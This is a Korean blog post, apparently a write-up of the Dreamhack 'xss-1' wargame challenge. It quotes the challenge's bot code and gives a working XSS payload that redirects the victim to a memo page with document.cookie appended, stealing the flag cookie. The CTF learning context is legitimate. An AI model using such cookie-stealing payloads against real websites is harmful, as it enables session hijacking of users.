[웹해킹] xss-1

Woo·2025년 1월 7일

워게임(웹해킹)

목록 보기
4/14

문제

https://dreamhack.io/wargame/challenges/28


분석

문제에서 주어진 사이트로 들어가 XSS 취약점을 사용해 플래그를 획득하는 문제이다.
사이트를 살펴보면

/ 메인 페이지

vuln(xss) page 페이지

XSS 취약점이 있다는 것을 파악할 수 있었다. 하지만 이 동작은 이 페이지에서만 가능하다.

memo 페이지

파라미터 값이 그대로 스트링값으로 브라우저상에 출력이 된다.

flag 페이지

flag 페이지에서 플래그를 얻을 수 있을 것 같다고 추측하게 되었다.
XSS 취약점이 있는 vuln페이지의 값으로 파라미터를 받을 수 있는 입력창이 있다.
따라서 입력한 값을 통해 memo 페이지에서 값을 얻을 수 있다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수를 보면 함수에서 쿠키가 생성이 된다.
도메인은 127.0.0.1:8000에 쿠키값이 저장이 되므로 127.0.0.1:8000에서 쿠키 값을 확인해야한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss 함수를 보면 입력한 url을 참조하게 된다.


풀이

플래그가 로컬호스트(127.0.0.1:8000)에 저장되어있으므로 flag 페이지에서 vuln?param에 memo 주소를 적고, memo 페이지의 memo 값을 document.cookie로 줘야한다.

XSS 우회기법
location.href = “주소” # 현재 페이지에서 URL 반환 및 업데이트
window.open =(” ”) # 새 페이지에서 URL 반환 및 업데이트
document.cookie # 이 프로퍼티를 이용하여 브라우저에서 쿠키 접근

위의 기법들을 사용해
<script>location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie</script>
를 flag 페이지에 입력하여 제출했을 때, memo 페이지에 들어가면

위의 사진처럼 플래그값이 쓰여져 있다.

profile
다덤벼

0개의 댓글